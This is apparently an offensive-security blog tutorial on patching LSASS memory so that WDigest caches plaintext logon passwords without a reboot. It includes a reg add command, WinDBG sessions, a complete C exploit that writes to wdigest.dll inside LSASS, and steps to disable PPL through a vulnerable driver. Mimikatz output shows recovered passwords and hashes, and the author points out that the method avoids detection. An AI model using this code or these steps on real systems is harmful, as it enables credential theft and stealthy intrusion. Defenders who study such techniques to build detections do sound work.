Windows Digest Authentication (Wdigest) is an authentication component used by the LSASS process. Although Wdigest is typically only required for legacy applications, it is still enabled by default on modern versions of Windows, such as Windows 11 and Windows Server 2025.
From an adversarial perspective, it’s important to note that WDigest can be configured to store plaintext credentials in memory.
You can configure WDigest to store plaintext credentials by modifying the following registry key.
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
Once the system has been rebooted, the system will then begin storing plaintext credentials within the LSASS process.
In this article, we will be looking at modifying LSASS memory to enable storage of plaintext WDigest credentials, without requiring the system to reboot.
Environment Setup
To enable collecting plaintext passwords, we will need to modify LSASS process memory. This will require a few steps.
- First, you need to be able to execute unsigned Kernel mode code. The easiest method to do this is by exploiting a known vulnerable driver, as I’ve previously described here.
- With the ability to execute Kernel mode code, we can modify the LSASS EPROCESS data structure to disable Process Protection Light (PPL), as demonstrated in this article.
- With PPL disabled in LSASS, we can then modify the (user mode) LSASS process to enable plaintext credential collection.
Prototyping with WinDBG
Attach a Kernel mode debugger to our target Windows Server 2022 system. Further information on doing this can be found here.
We will need to start by switching to user mode context (from kernel mode) using the .process command, with a handle to the LSASS EPROCESS data structure.
0: kd> !process 0 0 lsass.exe
PROCESS ffffcb82c2ab0140
SessionId: 0 Cid: 02c0 Peb: c4327fb000 ParentCid: 0224
DirBase: 10f48b000 ObjectTable: ffff91018c109d00 HandleCount: 1169.
Image: lsass.exe
0: kd> .process /i /p /r ffffcb82c2ab0140
You need to continue execution (press 'g' <enter>) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.
0: kd> g
Break instruction exception - code 80000003 (first chance)
nt!DbgBreakPointWithStatus:
fffff801`26a1edc0 cc int 3
Next, reload the kernel debugging symbols (otherwise you won’t see the loaded wdigest module), and use the lm command to ensure you can see the wdigest.dll base address.
1: kd> .reload
Connected to Windows 10 20348 x64 target at (Mon Jan 19 22:43:34.111 2026 (UTC + 0:00)), ptr64 TRUE
Loading Kernel Symbols
...............................................................
................................................................
...................
Loading User Symbols
................................................................
.......
Loading unloaded module list
..........
1: kd> lm m wdigest
Browse full module list
start end module name
00007ffd`88940000 00007ffd`88983000 wdigest (pdb symbols) C:\ProgramData\Dbg\sym\wdigest.pdb\EF2BB4039330CB6C9FB21433C2AB7D8D1\wdigest.pdb
To ensure plaintext credentials are stored, set the g_fParameter_UseLogonCredential variable to 0x1 using the ed command.
2: kd> dd wdigest!g_fParameter_UseLogonCredential L1
00007ffc`450dcaa4 00000000
2: kd> ed wdigest!g_fParameter_UseLogonCredential 1
2: kd> dd wdigest!g_fParameter_UseLogonCredential L1
00007ffc`450dcaa4 00000001
Next, set a breakpoint on wdigest!SpAcceptCredentials, and attempt to login to the target system again. On logging in, the breakpoint will be hit and we can extract the plaintext password.
0: kd> bp wdigest!SpAcceptCredentials
breakpoint 0 redefined
0: kd> g
Breakpoint 0 hit
wdigest!SpAcceptCredentials:
0033:00007ffd`88947410 4c8bdc mov r11,rsp
0: kd> dS r8+8
000001d9`aaeba4c0 "Administrator"
0: kd> dS r8+8+10
000001d9`aa46e3e0 "WIN-HE8F6EF00U4"
0: kd> dS r8+8+10+10
000001d9`aae041e0 "Password1"
Now we have confirmed this worked, we can determine the Relative Virtual Address (RVA) of g_fParameter_UseLogonCredential to use in our exploit code.
0: kd> ? wdigest!g_fParameter_UseLogonCredential - wdigest
Evaluate expression: 248484 = 00000000`0003caa4
We can see the variable resides at RVA 0x3caa4.
Exploit Code
The below code implements the steps we took in WinDBG.
- SeDebugPrivilege is activated, to allow us to get a handle to the LSASS process.
- EnumProcessModules is used to identify the WDigest base address.
- We then add the RVA we determined with WinDBG (0x3caa4) to the base address of WDigest to determine the location of g_fParameter_UseLogonCredential.
- We write 0x1 to g_fParameter_UseLogonCredential to enable plaintext credential caching.
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <psapi.h>
#include <stdio.h>
#include <stdlib.h>
#pragma comment(lib, "Psapi.lib")
BOOL EnableSeDebugPrivilege(void)
{
HANDLE hToken = NULL;
TOKEN_PRIVILEGES tp;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
printf("OpenProcessToken failed. Error: %lu\n", GetLastError());
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
{
printf("LookupPrivilegeValue failed. Error: %lu\n", GetLastError());
CloseHandle(hToken);
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL))
{
printf("AdjustTokenPrivileges failed. Error: %lu\n", GetLastError());
CloseHandle(hToken);
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
printf("SeDebugPrivilege not assigned.\n");
CloseHandle(hToken);
return FALSE;
}
CloseHandle(hToken);
return TRUE;
}
int main(int argc, char* argv[])
{
DWORD pid;
HANDLE hProcess;
HMODULE hMods[1024];
DWORD cbNeeded;
unsigned int i;
if (!EnableSeDebugPrivilege())
{
printf("Failed to enable SeDebugPrivilege.\n");
return 1;
}
if (argc != 2)
{
printf("Usage: WDigest.exe <PID>\n");
return 1;
}
pid = (DWORD)strtoul(argv[1], NULL, 10);
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess)
{
printf("OpenProcess failed. Error: %lu\n", GetLastError());
return 1;
}
if (!EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded))
{
printf("EnumProcessModules failed. Error: %lu\n", GetLastError());
CloseHandle(hProcess);
return 1;
}
for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++)
{
char szModName[MAX_PATH];
if (GetModuleBaseNameA(hProcess, hMods[i], szModName, sizeof(szModName)))
{
if (_stricmp(szModName, "wdigest.dll") == 0)
{
MODULEINFO modInfo;
if (GetModuleInformation(hProcess, hMods[i],
&modInfo, sizeof(modInfo)))
{
printf("wdigest.dll found!\n");
printf("Base Address : 0x%p\n", modInfo.lpBaseOfDll);
printf("Image Size : 0x%lx\n", modInfo.SizeOfImage);
ULONG_PTR offset = 0x3caa4; // Hardcoded offset
ULONG_PTR targetAddress = (ULONG_PTR)modInfo.lpBaseOfDll + offset;
UCHAR value;
SIZE_T bytesRead;
if (ReadProcessMemory(hProcess, (LPCVOID)targetAddress, &value, sizeof(value), &bytesRead))
{
printf("[+] Value at offset 0x%lx: 0x%02X\n", offset, value);
}
else
{
printf("ReadProcessMemory failed. Error: %lu\n", GetLastError());
}
UCHAR newValue = 0x01;
SIZE_T bytesWritten;
// Enable WDigest
if (WriteProcessMemory(hProcess, (LPVOID)targetAddress, &newValue, sizeof(newValue), &bytesWritten))
{
printf("[+] Successfully wrote 0x%02X to offset 0x%lx\n", newValue, offset);
}
else
{
printf("WriteProcessMemory failed. Error: %lu\n", GetLastError());
}
}
else
{
printf("GetModuleInformation failed. Error: %lu\n",
GetLastError());
}
CloseHandle(hProcess);
return 0;
}
}
}
printf("wdigest.dll not found in process %lu\n", pid);
CloseHandle(hProcess);
return 0;
}
Testing the Exploit
First, disable Protected Process Light (PPL) on LSASS using our previously developed driver.
C:\>sc start PPLDriver
SERVICE_NAME: PPLDriver
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PID : 0
FLAGS :
C:\>tasklist | findstr /i lsass
lsass.exe 728 Services 0 15,188 K
C:\>PPLClient.exe 728 disable
[+] Sending 'disable' request for PID 728 to driver...
[+] IOCTL sent successfully to disable PID 728
Next, run the WDigest exploit code to enable credential caching.
C:\>WDigest.exe 728
wdigest.dll found!
Base Address : 0x00007FFD22D00000
Image Size : 0x43000
[+] Value at offset 0x3caa4: 0x00
[+] Successfully wrote 0x01 to offset 0x3caa4
Simulate a login to the system using the runas command.
C:\>runas /user:Administrator cmd.exe
Enter the password for Administrator:
Attempting to start cmd.exe as user "WIN-HE8F6EF00U4\Administrator" ...
Finally, run Mimikatz on the target host to extract plaintext credentials from LSASS.
C:\Users\Administrator\Desktop>mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # sekurlsa::logonpasswords
Authentication Id : 0 ; 572377 (00000000:0008bbd9)
Session : Interactive from 0
User Name : Administrator
Domain : WIN-HE8F6EF00U4
Logon Server : WIN-HE8F6EF00U4
Logon Time : 19/01/2026 22:47:18
SID : S-1-5-21-3357994340-1827028613-1160383303-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : WIN-HE8F6EF00U4
* NTLM : 64f12cddaa88057e06a81b54e73b949b
* SHA1 : cba4e545b7ec918129725154b29f055e4cd5aea8
tspkg :
wdigest :
* Username : Administrator
* Domain : WIN-HE8F6EF00U4
* Password : Password1
kerberos :
* Username : Administrator
* Domain : WIN-HE8F6EF00U4
* Password : (null)
ssp :
credman :
cloudap :
In Conclusion
Enabling WDigest plaintext credential storage is memory is less likely to be detected than altering the associated registry key. It also has the benefit of taking effect immediately, rather than having to wait for the host to rebooted, which might take a long time on server systems.